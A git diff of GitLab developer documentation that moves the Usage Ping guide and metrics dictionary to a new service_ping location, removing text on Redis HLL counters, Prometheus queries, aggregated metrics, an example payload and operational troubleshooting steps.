-Events are tracked behind optional [feature flags](../feature_flags/index.md) due to concerns for Redis performance and scalability.
-
-For a full list of events and corresponding feature flags see, [known_events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/) files.
-
-To enable or disable tracking for specific event in <https://gitlab.com> or <https://about.staging.gitlab.com>, run commands such as the following to
-[enable or disable the corresponding feature](../feature_flags/index.md).
-
-```shell
-/chatops run feature set <feature_name> true
-/chatops run feature set <feature_name> false
-```
-
-We can also disable tracking completely by using the global flag:
-
-```shell
-/chatops run feature set redis_hll_tracking true
-/chatops run feature set redis_hll_tracking false
-```
-
-##### Known events are added automatically in usage data payload
-
-All events added in [`known_events/common.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/common.yml) are automatically added to usage data generation under the `redis_hll_counters` key. This column is stored in [version-app as a JSON](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L209).
-For each event we add metrics for the weekly and monthly time frames, and totals for each where applicable:
-
-- `#{event_name}_weekly`: Data for 7 days for daily [aggregation](#adding-new-events) events and data for the last complete week for weekly [aggregation](#adding-new-events) events.
-- `#{event_name}_monthly`: Data for 28 days for daily [aggregation](#adding-new-events) events and data for the last 4 complete weeks for weekly [aggregation](#adding-new-events) events.
-
-Redis HLL implementation calculates automatic total metrics, if there are more than one metric for the same category, aggregation, and Redis slot.
-
-- `#{category}_total_unique_counts_weekly`: Total unique counts for events in the same category for the last 7 days or the last complete week, if events are in the same Redis slot and we have more than one metric.
-- `#{category}_total_unique_counts_monthly`: Total unique counts for events in same category for the last 28 days or the last 4 complete weeks, if events are in the same Redis slot and we have more than one metric.
-
-Example of `redis_hll_counters` data:
-
-```ruby
-{:redis_hll_counters=>
- {"compliance"=>
- {"users_viewing_compliance_dashboard_weekly"=>0,
- "users_viewing_compliance_dashboard_monthly"=>0,
- "users_viewing_compliance_audit_events_weekly"=>0,
- "users_viewing_audit_events_monthly"=>0,
- "compliance_total_unique_counts_weekly"=>0,
- "compliance_total_unique_counts_monthly"=>0},
- "analytics"=>
- {"users_viewing_analytics_group_devops_adoption_weekly"=>0,
- "users_viewing_analytics_group_devops_adoption_monthly"=>0,
- "analytics_total_unique_counts_weekly"=>0,
- "analytics_total_unique_counts_monthly"=>0},
- "ide_edit"=>
- {"users_editing_by_web_ide_weekly"=>0,
- "users_editing_by_web_ide_monthly"=>0,
- "users_editing_by_sfe_weekly"=>0,
- "users_editing_by_sfe_monthly"=>0,
- "ide_edit_total_unique_counts_weekly"=>0,
- "ide_edit_total_unique_counts_monthly"=>0}
- }
-```
-
-Example usage:
-
-```ruby
-# Redis Counters
-redis_usage_data(Gitlab::UsageDataCounters::WikiPageCounter)
-redis_usage_data { ::Gitlab::UsageCounters::PodLogs.usage_totals[:total] }
-
-# Define events in common.yml https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/common.yml
-
-# Tracking events
-Gitlab::UsageDataCounters::HLLRedisCounter.track_event('users_expanding_vulnerabilities', values: visitor_id)
-
-# Get unique events for metric
-redis_usage_data { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'users_expanding_vulnerabilities', start_date: 28.days.ago, end_date: Date.current) }
-```
-
-### Alternative Counters
-
-Handles `StandardError` and fallbacks into -1 this way not all measures fail if we encounter one exception.
-Mainly used for settings and configurations.
-
-Method: `alt_usage_data(value = nil, fallback: -1, &block)`
-
-Arguments:
-
-- `value`: a simple static value in which case the value is simply returned.
-- or a `block`: which is evaluated
-- `fallback: -1`: the common value used for any metrics that are failing.
-
-Usage:
-
-```ruby
-alt_usage_data { Gitlab::VERSION }
-alt_usage_data { Gitlab::CurrentSettings.uuid }
-alt_usage_data(999)
-```
-
-### Adding counters to build new metrics
-
-When adding the results of two counters, use the `add` usage data method that
-handles fallback values and exceptions. It also generates a valid [SQL export](#exporting-usage-ping-sql-queries-and-definitions).
-
-Example usage:
-
-```ruby
-add(User.active, User.bot)
-```
-
-### Prometheus Queries
-
-In those cases where operational metrics should be part of Usage Ping, a database or Redis query is unlikely
-to provide useful data. Instead, Prometheus might be more appropriate, because most GitLab architectural
-components publish metrics to it that can be queried back, aggregated, and included as usage data.
-
-NOTE:
-Prometheus as a data source for Usage Ping is currently only available for single-node Omnibus installations
-that are running the [bundled Prometheus](../../administration/monitoring/prometheus/index.md) instance.
-
-To query Prometheus for metrics, a helper method is available to `yield` a fully configured
-`PrometheusClient`, given it is available as per the note above:
-
-```ruby
-with_prometheus_client do |client|
- response = client.query('<your query>')
- ...
-end
-```
-
-Please refer to [the `PrometheusClient` definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/prometheus_client.rb)
-for how to use its API to query for data.
-
-### Fallback values for UsagePing
-
-We return fallback values in these cases:
-
-| Case | Value |
-|-----------------------------|-------|
-| Deprecated Metric | -1000 |
-| Timeouts, general failures | -1 |
-| Standard errors in counters | -2 |
-
-## Developing and testing Usage Ping
-
-### 1. Naming and placing the metrics
-
-Add the metric in one of the top level keys
-
-- `settings`: for settings related metrics.
-- `counts_weekly`: for counters that have data for the most recent 7 days.
-- `counts_monthly`: for counters that have data for the most recent 28 days.
-- `counts`: for counters that have data for all time.
-
-### 2. Use your Rails console to manually test counters
-
-```ruby
-# count
-Gitlab::UsageData.count(User.active)
-Gitlab::UsageData.count(::Clusters::Cluster.aws_installed.enabled, :cluster_id)
-
-# count distinct
-Gitlab::UsageData.distinct_count(::Project, :creator_id)
-Gitlab::UsageData.distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::User.minimum(:id), finish: ::User.maximum(:id))
-```
-
-### 3. Generate the SQL query
-
-Your Rails console returns the generated SQL queries.
-
-Example:
-
-```ruby
-pry(main)> Gitlab::UsageData.count(User.active)
- (2.6ms) SELECT "features"."key" FROM "features"
- (15.3ms) SELECT MIN("users"."id") FROM "users" WHERE ("users"."state" IN ('active')) AND ("users"."user_type" IS NULL OR "users"."user_type" IN (6, 4))
- (2.4ms) SELECT MAX("users"."id") FROM "users" WHERE ("users"."state" IN ('active')) AND ("users"."user_type" IS NULL OR "users"."user_type" IN (6, 4))
- (1.9ms) SELECT COUNT("users"."id") FROM "users" WHERE ("users"."state" IN ('active')) AND ("users"."user_type" IS NULL OR "users"."user_type" IN (6, 4)) AND "users"."id" BETWEEN 1 AND 100000
-```
-
-### 4. Optimize queries with #database-lab
-
-Paste the SQL query into `#database-lab` to see how the query performs at scale.
-
-- `#database-lab` is a Slack channel which uses a production-sized environment to test your queries.
-- GitLab.com's production database has a 15 second timeout.
-- Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches.
-- Add a specialized index on columns involved to reduce the execution time.
-
-To have an understanding of the query's execution we add in the MR description the following information:
-
-- For counters that have a `time_period` test we add information for both cases:
- - `time_period = {}` for all time periods
- - `time_period = { created_at: 28.days.ago..Time.current }` for last 28 days period
-- Execution plan and query time before and after optimization
-- Query generated for the index and time
-- Migration output for up and down execution
-
-We also use `#database-lab` and [explain.depesz.com](https://explain.depesz.com/). For more details, see the [database review guide](../database_review.md#preparation-when-adding-or-modifying-queries).
-
-#### Optimization recommendations and examples
-
-- Use specialized indexes [example 1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26871), [example 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26445).
-- Use defined `start` and `finish`, and simple queries. These values can be memoized and reused, [example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37155).
-- Avoid joins and write the queries as simply as possible, [example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36316).
-- Set a custom `batch_size` for `distinct_count`, [example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38000).
-
-### 5. Add the metric definition
-
-[Check Metrics Dictionary Guide](metrics_dictionary.md)
-
-When adding, updating, or removing metrics, please update the [Metrics Dictionary](dictionary.md).
-
-### 6. Add new metric to Versions Application
-
-Check if new metrics need to be added to the Versions Application. See `usage_data` [schema](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L147) and usage data [parameters accepted](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/app/services/usage_ping.rb). Any metrics added under the `counts` key are saved in the `stats` column.
-
-### 7. Add the feature label
-
-Add the `feature` label to the Merge Request for new Usage Ping metrics. These are user-facing changes and are part of expanding the Usage Ping feature.
-
-### 8. Add a changelog
-
-Ensure you comply with the [Changelog entries guide](../changelog.md).
-
-### 9. Ask for a Product Intelligence Review
-
-On GitLab.com, we have DangerBot setup to monitor Product Intelligence related files and DangerBot recommends a [Product Intelligence review](product_intelligence_review.md). Mention `@gitlab-org/growth/product_intelligence/engineers` in your MR for a review.
-
-### 10. Verify your metric
-
-On GitLab.com, the Product Intelligence team regularly [monitors Usage Ping](https://gitlab.com/groups/gitlab-org/-/epics/6000).
-They may alert you that your metrics need further optimization to run quicker and with greater success.
-
-The Usage Ping JSON payload for GitLab.com is shared in the
-[#g_product_intelligence](https://gitlab.slack.com/archives/CL3A7GFPF) Slack channel every week.
-
-You may also use the [Usage Ping QA dashboard](https://app.periscopedata.com/app/gitlab/632033/Usage-Ping-QA) to check how well your metric performs. The dashboard allows filtering by GitLab version, by "Self-managed" & "SaaS" and shows you how many failures have occurred for each metric. Whenever you notice a high failure rate, you may re-optimize your metric.
-
-### Usage Ping local setup
-
-To set up Usage Ping locally, you must:
-
-1. [Set up local repositories](#set-up-local-repositories).
-1. [Test local setup](#test-local-setup).
-1. (Optional) [Test Prometheus-based usage ping](#test-prometheus-based-usage-ping).
-
-#### Set up local repositories
-
-1. Clone and start [GitLab](https://gitlab.com/gitlab-org/gitlab-development-kit).
-1. Clone and start [Versions Application](https://gitlab.com/gitlab-services/version-gitlab-com).
- Make sure to run `docker-compose up` to start a PostgreSQL and Redis instance.
-1. Point GitLab to the Versions Application endpoint instead of the default endpoint:
- 1. Open [submit_usage_ping_service.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L4) in your local and modified `PRODUCTION_URL`.
- 1. Set it to the local Versions Application URL `http://localhost:3000/usage_data`.
-
-#### Test local setup
-
-1. Using the `gitlab` Rails console, manually trigger a usage ping:
-
- ```ruby
- SubmitUsagePingService.new.execute
- ```
-
-1. Use the `versions` Rails console to check the usage ping was successfully received,
- parsed, and stored in the Versions database:
-
- ```ruby
- UsageData.last
- ```
-
-### Test Prometheus-based usage ping
-
-If the data submitted includes metrics [queried from Prometheus](#prometheus-queries)
-you want to inspect and verify, you must:
-
-- Ensure that a Prometheus server is running locally.
-- Ensure the respective GitLab components are exporting metrics to the Prometheus server.
-
-If you do not need to test data coming from Prometheus, no further action
-is necessary. Usage Ping should degrade gracefully in the absence of a running Prometheus server.
-
-Three kinds of components may export data to Prometheus, and are included in Usage Ping:
-
-- [`node_exporter`](https://github.com/prometheus/node_exporter): Exports node metrics
- from the host machine.
-- [`gitlab-exporter`](https://gitlab.com/gitlab-org/gitlab-exporter): Exports process metrics
- from various GitLab components.
-- Other various GitLab services, such as Sidekiq and the Rails server, which export their own metrics.
-
-#### Test with an Omnibus container
-
-This is the recommended approach to test Prometheus based Usage Ping.
-
-The easiest way to verify your changes is to build a new Omnibus image from your code branch by using CI, then download the image
-and run a local container instance:
-
-1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job triggers an Omnibus
-build in a [downstream pipeline of the `omnibus-gitlab-mirror` project](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/pipelines).
-1. In the downstream pipeline, wait for the `gitlab-docker` job to finish.
-1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`.
-1. On your local machine, make sure you are signed in to the GitLab Docker registry. You can find the instructions for this in
-[Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry).
-1. Once signed in, download the new image by using `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`
-1. For more information about working with and running Omnibus GitLab containers in Docker, please refer to [GitLab Docker images](https://docs.gitlab.com/omnibus/docker/README.html) in the Omnibus documentation.
-
-#### Test with GitLab development toolkits
-
-This is the less recommended approach, because it comes with a number of difficulties when emulating a real GitLab deployment.
-
-The [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit) is not set up to run a Prometheus server or `node_exporter` alongside other GitLab components. If you would
-like to do so, [Monitoring the GDK with Prometheus](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/prometheus/index.md#monitoring-the-gdk-with-prometheus) is a good start.
-
-The [GCK](https://gitlab.com/gitlab-org/gitlab-compose-kit) has limited support for testing Prometheus based Usage Ping.
-By default, it already comes with a fully configured Prometheus service that is set up to scrape a number of components,
-but with the following limitations:
-
-- It does not run a `gitlab-exporter` instance, so several `process_*` metrics from services such as Gitaly may be missing.
-- While it runs a `node_exporter`, `docker-compose` services emulate hosts, meaning that it would normally report itself to not be associated
-with any of the other services that are running. That is not how node metrics are reported in a production setup, where `node_exporter`
-always runs as a process alongside other GitLab components on any given node. From Usage Ping's perspective none of the node data would therefore
-appear to be associated to any of the services running, because they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics appears in Usage Ping.
-
-## Aggregated metrics
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45979) in GitLab 13.6.
-
-WARNING:
-This feature is intended solely for internal GitLab use.
-
-To add data for aggregated metrics into Usage Ping payload you should add corresponding definition at [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/) for metrics available at Community Edition and at [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/) for Enterprise Edition ones.
-
-Each aggregate definition includes following parts:
-
-- `name`: Unique name under which the aggregate metric is added to the Usage Ping payload.
-- `operator`: Operator that defines how the aggregated metric data is counted. Available operators are:
- - `OR`: Removes duplicates and counts all entries that triggered any of listed events.
- - `AND`: Removes duplicates and counts all elements that were observed triggering all of following events.
-- `time_frame`: One or more valid time frames. Use these to limit the data included in aggregated metric to events within a specific date-range. Valid time frames are:
- - `7d`: Last seven days of data.
- - `28d`: Last twenty eight days of data.
- - `all`: All historical data, only available for `database` sourced aggregated metrics.
-- `source`: Data source used to collect all events data included in aggregated metric. Valid data sources are:
- - [`database`](#database-sourced-aggregated-metrics)
- - [`redis`](#redis-sourced-aggregated-metrics)
-- `events`: list of events names to aggregate into metric. All events in this list must
- relay on the same data source. Additional data source requirements are described in the
- [Database sourced aggregated metrics](#database-sourced-aggregated-metrics) and
- [Redis sourced aggregated metrics](#redis-sourced-aggregated-metrics) sections.
-- `feature_flag`: Name of [development feature flag](../feature_flags/index.md#development-type)
- that is checked before metrics aggregation is performed. Corresponding feature flag
- should have `default_enabled` attribute set to `false`. The `feature_flag` attribute
- is optional and can be omitted. When `feature_flag` is missing, no feature flag is checked.
-
-Example aggregated metric entries:
-
-```yaml
-- name: example_metrics_union
- operator: OR
- events:
- - 'users_expanding_secure_security_report'
- - 'users_expanding_testing_code_quality_report'
- - 'users_expanding_testing_accessibility_report'
- source: redis
- time_frame:
- - 7d
- - 28d
-- name: example_metrics_intersection
- operator: AND
- source: database
- time_frame:
- - 28d
- - all
- events:
- - 'dependency_scanning_pipeline_all_time'
- - 'container_scanning_pipeline_all_time'
- feature_flag: example_aggregated_metric
-```
-
-Aggregated metrics collected in `7d` and `28d` time frames are added into Usage Ping payload under the `aggregated_metrics` sub-key in the `counts_weekly` and `counts_monthly` top level keys.
-
-```ruby
-{
- :counts_monthly => {
- :deployments => 1003,
- :successful_deployments => 78,
- :failed_deployments => 275,
- :packages => 155,
- :personal_snippets => 2106,
- :project_snippets => 407,
- :promoted_issues => 719,
- :aggregated_metrics => {
- :example_metrics_union => 7,
- :example_metrics_intersection => 2
- },
- :snippets => 2513
- }
-}
-```
-
-Aggregated metrics for `all` time frame are present in the `count` top level key, with the `aggregate_` prefix added to their name.
-
-For example:
-
-`example_metrics_intersection`
-
-Becomes:
-
-`counts.aggregate_example_metrics_intersection`
-
-```ruby
-{
- :counts => {
- :deployments => 11003,
- :successful_deployments => 178,
- :failed_deployments => 1275,
- :aggregate_example_metrics_intersection => 12
- }
-}
-```
-
-### Redis sourced aggregated metrics
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45979) in GitLab 13.6.
-
-To declare the aggregate of events collected with [Redis HLL Counters](#redis-hll-counters),
-you must fulfill the following requirements:
-
-1. All events listed at `events` attribute must come from
- [`known_events/*.yml`](#known-events-are-added-automatically-in-usage-data-payload) files.
-1. All events listed at `events` attribute must have the same `redis_slot` attribute.
-1. All events listed at `events` attribute must have the same `aggregation` attribute.
-1. `time_frame` does not include `all` value, which is unavailable for Redis sourced aggregated metrics.
-
-### Database sourced aggregated metrics
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52784) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's enabled on GitLab.com.
-
-To declare an aggregate of metrics based on events collected from database, follow
-these steps:
-
-1. [Persist the metrics for aggregation](#persist-metrics-for-aggregation).
-1. [Add new aggregated metric definition](#add-new-aggregated-metric-definition).
-
-#### Persist metrics for aggregation
-
-Only metrics calculated with [Estimated Batch Counters](#estimated-batch-counters)
-can be persisted for database sourced aggregated metrics. To persist a metric,
-inject a Ruby block into the
-[estimate_batch_distinct_count](#estimate_batch_distinct_count-method) method.
-This block should invoke the
-`Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll.save_aggregated_metrics`
-[method](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb#L21),
-which stores `estimate_batch_distinct_count` results for future use in aggregated metrics.
-
-The `Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll.save_aggregated_metrics`
-method accepts the following arguments:
-
-- `metric_name`: The name of metric to use for aggregations. Should be the same
- as the key under which the metric is added into Usage Ping.
-- `recorded_at_timestamp`: The timestamp representing the moment when a given
- Usage Ping payload was collected. You should use the convenience method `recorded_at`
- to fill `recorded_at_timestamp` argument, like this: `recorded_at_timestamp: recorded_at`
-- `time_period`: The time period used to build the `relation` argument passed into
- `estimate_batch_distinct_count`. To collect the metric with all available historical
- data, set a `nil` value as time period: `time_period: nil`.
-- `data`: HyperLogLog buckets structure representing unique entries in `relation`.
- The `estimate_batch_distinct_count` method always passes the correct argument
- into the block, so `data` argument must always have a value equal to block argument,
- like this: `data: result`
-
-Example metrics persistence:
-
-```ruby
-class UsageData
- def count_secure_pipelines(time_period)
- ...
- relation = ::Security::Scan.latest_successful_by_build.by_scan_types(scan_type).where(security_scans: time_period)
-
- pipelines_with_secure_jobs['dependency_scanning_pipeline'] = estimate_batch_distinct_count(relation, :commit_id, batch_size: 1000, start: start_id, finish: finish_id) do |result|
- ::Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll
- .save_aggregated_metrics(metric_name: 'dependency_scanning_pipeline', recorded_at_timestamp: recorded_at, time_period: time_period, data: result)
- end
- end
-end
-```
-
-#### Add new aggregated metric definition
-
-After all metrics are persisted, you can add an aggregated metric definition at
-[`aggregated_metrics/`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/).
-
-To declare the aggregate of metrics collected with [Estimated Batch Counters](#estimated-batch-counters),
-you must fulfill the following requirements:
-
-- Metrics names listed in the `events:` attribute, have to use the same names you passed in the `metric_name` argument while persisting metrics in previous step.
-- Every metric listed in the `events:` attribute, has to be persisted for **every** selected `time_frame:` value.
-
-Example definition:
-
-```yaml
-- name: example_metrics_intersection_database_sourced
- operator: AND
- source: database
- events:
- - 'dependency_scanning_pipeline'
- - 'container_scanning_pipeline'
- time_frame:
- - 28d
- - all
-```
-
-## Example Usage Ping payload
-
-The following is example content of the Usage Ping payload.
-
-```json
-{
- "uuid": "0000000-0000-0000-0000-000000000000",
- "hostname": "example.com",
- "version": "12.10.0-pre",
- "installation_type": "omnibus-gitlab",
- "active_user_count": 999,
- "recorded_at": "2020-04-17T07:43:54.162+00:00",
- "edition": "EEU",
- "license_md5": "00000000000000000000000000000000",
- "license_id": null,
- "historical_max_users": 999,
- "licensee": {
- "Name": "ABC, Inc.",
- "Email": "email@example.com",
- "Company": "ABC, Inc."
- },
- "license_user_count": 999,
- "license_starts_at": "2020-01-01",
- "license_expires_at": "2021-01-01",
- "license_plan": "ultimate",
- "license_add_ons": {
- },
- "license_trial": false,
- "counts": {
- "assignee_lists": 999,
- "boards": 999,
- "ci_builds": 999,
- ...
- },
- "container_registry_enabled": true,
- "dependency_proxy_enabled": false,
- "gitlab_shared_runners_enabled": true,
- "gravatar_enabled": true,
- "influxdb_metrics_enabled": true,
- "ldap_enabled": false,
- "mattermost_enabled": false,
- "omniauth_enabled": true,
- "prometheus_enabled": false,
- "prometheus_metrics_enabled": false,
- "reply_by_email_enabled": "incoming+%{key}@incoming.gitlab.com",
- "signup_enabled": true,
- "web_ide_clientside_preview_enabled": true,
- "projects_with_expiration_policy_disabled": 999,
- "projects_with_expiration_policy_enabled": 999,
- ...
- "elasticsearch_enabled": true,
- "license_trial_ends_on": null,
- "geo_enabled": false,
- "git": {
- "version": {
- "major": 2,
- "minor": 26,
- "patch": 1
- }
- },
- "gitaly": {
- "version": "12.10.0-rc1-93-g40980d40",
- "servers": 56,
- "clusters": 14,
- "filesystems": [
- "EXT_2_3_4"
- ]
- },
- "gitlab_pages": {
- "enabled": true,
- "version": "1.17.0"
- },
- "container_registry_server": {
- "vendor": "gitlab",
- "version": "2.9.1-gitlab"
- },
- "database": {
- "adapter": "postgresql",
- "version": "9.6.15",
- "pg_system_id": 6842684531675334351
- },
- "analytics_unique_visits": {
- "g_analytics_contribution": 999,
- ...
- },
- "usage_activity_by_stage": {
- "configure": {
- "project_clusters_enabled": 999,
- ...
- },
- "create": {
- "merge_requests": 999,
- ...
- },
- "manage": {
- "events": 999,
- ...
- },
- "monitor": {
- "clusters": 999,
- ...
- },
- "package": {
- "projects_with_packages": 999
- },
- "plan": {
- "issues": 999,
- ...
- },
- "release": {
- "deployments": 999,
- ...
- },
- "secure": {
- "user_container_scanning_jobs": 999,
- ...
- },
- "verify": {
- "ci_builds": 999,
- ...
- }
- },
- "usage_activity_by_stage_monthly": {
- "configure": {
- "project_clusters_enabled": 999,
- ...
- },
- "create": {
- "merge_requests": 999,
- ...
- },
- "manage": {
- "events": 999,
- ...
- },
- "monitor": {
- "clusters": 999,
- ...
- },
- "package": {
- "projects_with_packages": 999
- },
- "plan": {
- "issues": 999,
- ...
- },
- "release": {
- "deployments": 999,
- ...
- },
- "secure": {
- "user_container_scanning_jobs": 999,
- ...
- },
- "verify": {
- "ci_builds": 999,
- ...
- }
- },
- "topology": {
- "duration_s": 0.013836685999194742,
- "application_requests_per_hour": 4224,
- "query_apdex_weekly_average": 0.996,
- "failures": [],
- "nodes": [
- {
- "node_memory_total_bytes": 33269903360,
- "node_memory_utilization": 0.35,
- "node_cpus": 16,
- "node_cpu_utilization": 0.2,
- "node_uname_info": {
- "machine": "x86_64",
- "sysname": "Linux",
- "release": "4.19.76-linuxkit"
- },
- "node_services": [
- {
- "name": "web",
- "process_count": 16,
- "process_memory_pss": 233349888,
- "process_memory_rss": 788220927,
- "process_memory_uss": 195295487,
- "server": "puma"
- },
- {
- "name": "sidekiq",
- "process_count": 1,
- "process_memory_pss": 734080000,
- "process_memory_rss": 750051328,
- "process_memory_uss": 731533312
- },
- ...
- ],
- ...
- },
- ...
- ]
- }
-}
-```
-
-## Notable changes
-
-In GitLab 13.5, `pg_system_id` was added to send the [PostgreSQL system identifier](https://www.2ndquadrant.com/en/blog/support-for-postgresqls-system-identifier-in-barman/).
-
-## Exporting Usage Ping SQL queries and definitions
-
-Two Rake tasks exist to export Usage Ping definitions.
-
-- The Rake tasks export the raw SQL queries for `count`, `distinct_count`, `sum`.
-- The Rake tasks export the Redis counter class or the line of the Redis block for `redis_usage_data`.
-- The Rake tasks calculate the `alt_usage_data` metrics.
-
-In the home directory of your local GitLab installation run the following Rake tasks for the YAML and JSON versions respectively:
-
-```shell
-# for YAML export
-bin/rake gitlab:usage_data:dump_sql_in_yaml
-
-# for JSON export
-bin/rake gitlab:usage_data:dump_sql_in_json
-
-# You may pipe the output into a file
-bin/rake gitlab:usage_data:dump_sql_in_yaml > ~/Desktop/usage-metrics-2020-09-02.yaml
-```
-
-## Generating and troubleshooting usage ping
-
-This activity is to be done via a detached screen session on a remote server.
-
-Before you begin these steps, make sure the key is added to the SSH agent locally
-with the `ssh-add` command.
-
-### Triggering
-
-1. Connect to bastion with agent forwarding: `$ ssh -A lb-bastion.gprd.gitlab.com`
-1. Create named screen: `$ screen -S <username>_usage_ping_<date>`
-1. Connect to console host: `$ ssh $USER-rails@console-01-sv-gprd.c.gitlab-production.internal`
-1. Run `SubmitUsagePingService.new.execute`
-1. Detach from screen: `ctrl + a, ctrl + d`
-1. Exit from bastion: `$ exit`
-
-### Verification (After approx 30 hours)
-
-1. Reconnect to bastion: `$ ssh -A lb-bastion.gprd.gitlab.com`
-1. Find your screen session: `$ screen -ls`
-1. Attach to your screen session: `$ screen -x 14226.mwawrzyniak_usage_ping_2021_01_22`
-1. Check the last payload in `raw_usage_data` table: `RawUsageData.last.payload`
-1. Check the when the payload was sent: `RawUsageData.last.sent_at`
+<!-- This redirect file can be deleted after <2021-10-09>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/usage_ping/metrics_dictionary.md b/doc/development/usage_ping/metrics_dictionary.md
index 6b5fed4bcca..3743c2e0414 100644
--- a/doc/development/usage_ping/metrics_dictionary.md
+++ b/doc/development/usage_ping/metrics_dictionary.md
@@ -1,237 +1,9 @@
---
-stage: Growth
-group: Product Intelligence
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../service_ping/metrics_dictionary.md'
+remove_date: '2021-10-09'
---
-# Metrics Dictionary Guide
+This file was moved to [another location](../service_ping/metrics_dictionary.md).
-This guide describes Metrics Dictionary and how it's implemented
-
-## Metrics Definition and validation
-
-We are using [JSON Schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json) to validate the metrics definition.
-
-This process is meant to ensure consistent and valid metrics defined for Usage Ping. All metrics *must*:
-
-- Comply with the defined [JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json).
-- Have a unique `key_path` .
-- Have an owner.
-
-All metrics are stored in YAML files:
-
-- [`config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics)
-
-Each metric is defined in a separate YAML file consisting of a number of fields:
-
-| Field | Required | Additional information |
-|---------------------|----------|----------------------------------------------------------------|
-| `key_path` | yes | JSON key path for the metric, location in Usage Ping payload. |
-| `name` | no | Metric name suggestion. Can replace the last part of `key_path`. |
-| `description` | yes | |
-| `product_section` | yes | The [section](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/sections.yml). |
-| `product_stage` | no | The [stage](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) for the metric. |
-| `product_group` | yes | The [group](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) that owns the metric. |
-| `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. |
-| `value_type` | yes | `string`; one of [`string`, `number`, `boolean`, `object`](https://json-schema.org/understanding-json-schema/reference/type.html). |
-| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`, `broken`. |
-| `time_frame` | yes | `string`; may be set to a value like `7d`, `28d`, `all`, `none`. |
-| `data_source` | yes | `string`; may be set to a value like `database`, `redis`, `redis_hll`, `prometheus`, `system`. |
-| `data_category` | yes | `string`; [categories](#data-category) of the metric, may be set to `Operational`, `Optional`, `Subscription`, `Standard`. |
-| `instrumentation_class` | no | `string`; [the class that implements the metric](metrics_instrumentation.md). |
-| `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. |
-| `tier` | yes | `array`; may be set to one of `free, premium, ultimate`, `premium, ultimate` or `ultimate`. The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the tracked feature is available. |
-| `milestone` | no | The milestone when the metric is introduced. |
-| `milestone_removed` | no | The milestone when the metric is removed. |
-| `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. |
-| `repair_issue_url` | no | The URL of the issue that was created to repair a metric with a `broken` status. |
-| `options` | no | `object`: options information needed to calculate the metric value. |
-| `skip_validation` | no | This should **not** be set. [Used for imported metrics until we review, update and make them valid](https://gitlab.com/groups/gitlab-org/-/epics/5425). |
-
-### Metric statuses
-
-Metric definitions can have one of the following statuses:
-
-- `data_available`: Metric data is available and used in a Sisense dashboard.
-- `implemented`: Metric is implemented but data is not yet available. This is a temporary
- status for newly added metrics awaiting inclusion in a new release.
-- `broken`: Metric reports broken data (for example, -1 fallback), or does not report data at all. A metric marked as `broken` must also have the `repair_issue_url` attribute.
-- `not_used`: Metric is not used in any dashboard.
-- `deprecated`: Metric is deprecated and possibly planned to be removed.
